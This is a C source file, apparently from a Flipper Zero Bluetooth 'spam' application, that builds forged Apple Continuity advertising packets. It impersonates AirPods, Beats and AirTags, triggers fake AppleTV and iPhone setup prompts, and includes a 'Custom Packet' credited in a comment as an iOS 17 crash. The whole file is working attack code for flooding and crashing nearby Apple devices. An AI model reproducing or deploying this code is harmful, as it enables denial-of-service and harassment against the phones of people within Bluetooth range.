continuity.c 9.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276
  1. #include "continuity.h"
  2. #include "_registry.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. static const char* type_names[ContinuityTypeCount] = {
  8. [ContinuityTypeAirDrop] = "AirDrop",
  9. [ContinuityTypeProximityPair] = "Proximity Pair",
  10. [ContinuityTypeAirplayTarget] = "Airplay Target",
  11. [ContinuityTypeHandoff] = "Handoff",
  12. [ContinuityTypeTetheringSource] = "Tethering Source",
  13. [ContinuityTypeNearbyAction] = "Nearby Action",
  14. [ContinuityTypeNearbyInfo] = "Nearby Info",
  15. [ContinuityTypeCustomCrash] = "Custom Packet",
  16. };
  17. const char* continuity_get_name(const BleSpamMsg* _msg) {
  18. const ContinuityMsg* msg = &_msg->continuity;
  19. return type_names[msg->type];
  20. }
  21. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  22. static uint8_t packet_sizes[ContinuityTypeCount] = {
  23. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  24. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  25. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  26. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  27. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  28. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  29. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  30. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  31. };
  32. void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
  33. const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
  34. ContinuityType type;
  35. if(msg) {
  36. type = msg->type;
  37. } else {
  38. const ContinuityType types[] = {
  39. ContinuityTypeProximityPair,
  40. ContinuityTypeNearbyAction,
  41. ContinuityTypeCustomCrash,
  42. };
  43. type = types[rand() % COUNT_OF(types)];
  44. }
  45. uint8_t size = packet_sizes[type];
  46. uint8_t* packet = malloc(size);
  47. uint8_t i = 0;
  48. packet[i++] = size - 1; // Size
  49. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  50. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  51. packet[i++] = 0x00; // ...
  52. packet[i++] = type; // Continuity Type
  53. packet[i] = size - i - 1; // Continuity Size
  54. i++;
  55. switch(type) {
  56. case ContinuityTypeAirDrop: {
  57. packet[i++] = 0x00; // Zeros
  58. packet[i++] = 0x00; // ...
  59. packet[i++] = 0x00; // ...
  60. packet[i++] = 0x00; // ...
  61. packet[i++] = 0x00; // ...
  62. packet[i++] = 0x00; // ...
  63. packet[i++] = 0x00; // ...
  64. packet[i++] = 0x00; // ...
  65. packet[i++] = 0x01; // Version
  66. packet[i++] = (rand() % 256); // AppleID
  67. packet[i++] = (rand() % 256); // ...
  68. packet[i++] = (rand() % 256); // Phone Number
  69. packet[i++] = (rand() % 256); // ...
  70. packet[i++] = (rand() % 256); // Email
  71. packet[i++] = (rand() % 256); // ...
  72. packet[i++] = (rand() % 256); // Email2
  73. packet[i++] = (rand() % 256); // ...
  74. packet[i++] = 0x00; // Zero
  75. break;
  76. }
  77. case ContinuityTypeProximityPair: {
  78. uint16_t model;
  79. if(msg && msg->data.proximity_pair.model != 0x0000) {
  80. model = msg->data.proximity_pair.model;
  81. } else {
  82. const uint16_t models[] = {
  83. 0x0E20, // AirPods Pro
  84. 0x0620, // Beats Solo 3
  85. 0x0A20, // AirPods Max
  86. 0x1020, // Beats Flex
  87. 0x0055, // Airtag
  88. 0x0030, // Hermes Airtag
  89. 0x0220, // AirPods
  90. 0x0F20, // AirPods 2nd Gen
  91. 0x1320, // AirPods 3rd Gen
  92. 0x1420, // AirPods Pro 2nd Gen
  93. 0x0320, // Powerbeats 3
  94. 0x0B20, // Powerbeats Pro
  95. 0x0C20, // Beats Solo Pro
  96. 0x1120, // Beats Studio Buds
  97. 0x0520, // Beats X
  98. 0x0920, // Beats Studio 3
  99. 0x1720, // Beats Studio Pro
  100. 0x1220, // Beats Fit Pro
  101. 0x1620, // Beats Studio Buds+
  102. };
  103. model = models[rand() % COUNT_OF(models)];
  104. }
  105. uint8_t prefix;
  106. if(msg && msg->data.proximity_pair.prefix == 0x00) {
  107. prefix = msg->data.proximity_pair.prefix;
  108. } else {
  109. if(model == 0x0055 || model == 0x0030)
  110. prefix = 0x05;
  111. else
  112. prefix = 0x01;
  113. }
  114. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  115. packet[i++] = (model >> 0x08) & 0xFF;
  116. packet[i++] = (model >> 0x00) & 0xFF;
  117. packet[i++] = 0x55; // Status
  118. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  119. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  120. packet[i++] = (rand() % 256); // Lid Open Counter
  121. packet[i++] = 0x00; // Device Color
  122. packet[i++] = 0x00;
  123. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  124. i += 16;
  125. break;
  126. }
  127. case ContinuityTypeAirplayTarget: {
  128. packet[i++] = (rand() % 256); // Flags
  129. packet[i++] = (rand() % 256); // Configuration Seed
  130. packet[i++] = (rand() % 256); // IPv4 Address
  131. packet[i++] = (rand() % 256); // ...
  132. packet[i++] = (rand() % 256); // ...
  133. packet[i++] = (rand() % 256); // ...
  134. break;
  135. }
  136. case ContinuityTypeHandoff: {
  137. packet[i++] = 0x01; // Version
  138. packet[i++] = (rand() % 256); // Initialization Vector
  139. packet[i++] = (rand() % 256); // ...
  140. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  141. packet[i++] = (rand() % 256); // Encrypted Payload
  142. packet[i++] = (rand() % 256); // ...
  143. packet[i++] = (rand() % 256); // ...
  144. packet[i++] = (rand() % 256); // ...
  145. packet[i++] = (rand() % 256); // ...
  146. packet[i++] = (rand() % 256); // ...
  147. packet[i++] = (rand() % 256); // ...
  148. packet[i++] = (rand() % 256); // ...
  149. packet[i++] = (rand() % 256); // ...
  150. packet[i++] = (rand() % 256); // ...
  151. break;
  152. }
  153. case ContinuityTypeTetheringSource: {
  154. packet[i++] = 0x01; // Version
  155. packet[i++] = (rand() % 256); // Flags
  156. packet[i++] = (rand() % 101); // Battery Life
  157. packet[i++] = 0x00; // Cell Service Type
  158. packet[i++] = (rand() % 8); // ...
  159. packet[i++] = (rand() % 5); // Cell Service Strength
  160. break;
  161. }
  162. case ContinuityTypeNearbyAction: {
  163. uint8_t action;
  164. if(msg && msg->data.nearby_action.type != 0x00) {
  165. action = msg->data.nearby_action.type;
  166. } else {
  167. const uint8_t actions[] = {
  168. 0x13, // AppleTV AutoFill
  169. 0x27, // AppleTV Connecting...
  170. 0x20, // Join This AppleTV?
  171. 0x19, // AppleTV Audio Sync
  172. 0x1E, // AppleTV Color Balance
  173. 0x09, // Setup New iPhone
  174. 0x02, // Transfer Phone Number
  175. 0x0B, // HomePod Setup
  176. 0x01, // Setup New AppleTV
  177. 0x06, // Pair AppleTV
  178. 0x0D, // HomeKit AppleTV Setup
  179. 0x2B, // AppleID for AppleTV?
  180. };
  181. action = actions[rand() % COUNT_OF(actions)];
  182. }
  183. uint8_t flag;
  184. if(msg && msg->data.nearby_action.flags != 0x00) {
  185. flag = msg->data.nearby_action.flags;
  186. } else {
  187. flag = 0xC0;
  188. if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
  189. if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
  190. }
  191. packet[i++] = flag; // Action Flags
  192. packet[i++] = action; // Action Type
  193. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  194. i += 3;
  195. break;
  196. }
  197. case ContinuityTypeNearbyInfo: {
  198. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  199. packet[i++] = (rand() % 256); // Status Flags
  200. packet[i++] = (rand() % 256); // Authentication Tag
  201. packet[i++] = (rand() % 256); // ...
  202. packet[i++] = (rand() % 256); // ...
  203. break;
  204. }
  205. case ContinuityTypeCustomCrash: {
  206. // Found by @ECTO-1A
  207. const uint8_t actions[] = {
  208. 0x13, // AppleTV AutoFill
  209. 0x27, // AppleTV Connecting...
  210. 0x20, // Join This AppleTV?
  211. 0x19, // AppleTV Audio Sync
  212. 0x1E, // AppleTV Color Balance
  213. 0x09, // Setup New iPhone
  214. 0x02, // Transfer Phone Number
  215. 0x0B, // HomePod Setup
  216. 0x01, // Setup New AppleTV
  217. 0x06, // Pair AppleTV
  218. 0x0D, // HomeKit AppleTV Setup
  219. 0x2B, // AppleID for AppleTV?
  220. };
  221. uint8_t action = actions[rand() % COUNT_OF(actions)];
  222. uint8_t flag = 0xC0;
  223. if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
  224. if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
  225. i -= 2; // Override segment header
  226. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  227. packet[i++] = 0x05; // Continuity Size
  228. packet[i++] = flag; // Action Flags
  229. packet[i++] = action; // Action Type
  230. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  231. i += 3;
  232. packet[i++] = 0x00; // Terminator (?)
  233. packet[i++] = 0x00; // ...
  234. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  235. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  236. i += 3;
  237. break;
  238. }
  239. default:
  240. break;
  241. }
  242. *out_size = size;
  243. *out_packet = packet;
  244. }
  245. const BleSpamProtocol ble_spam_protocol_continuity = {
  246. .icon = &I_apple,
  247. .get_name = continuity_get_name,
  248. .make_packet = continuity_make_packet,
  249. };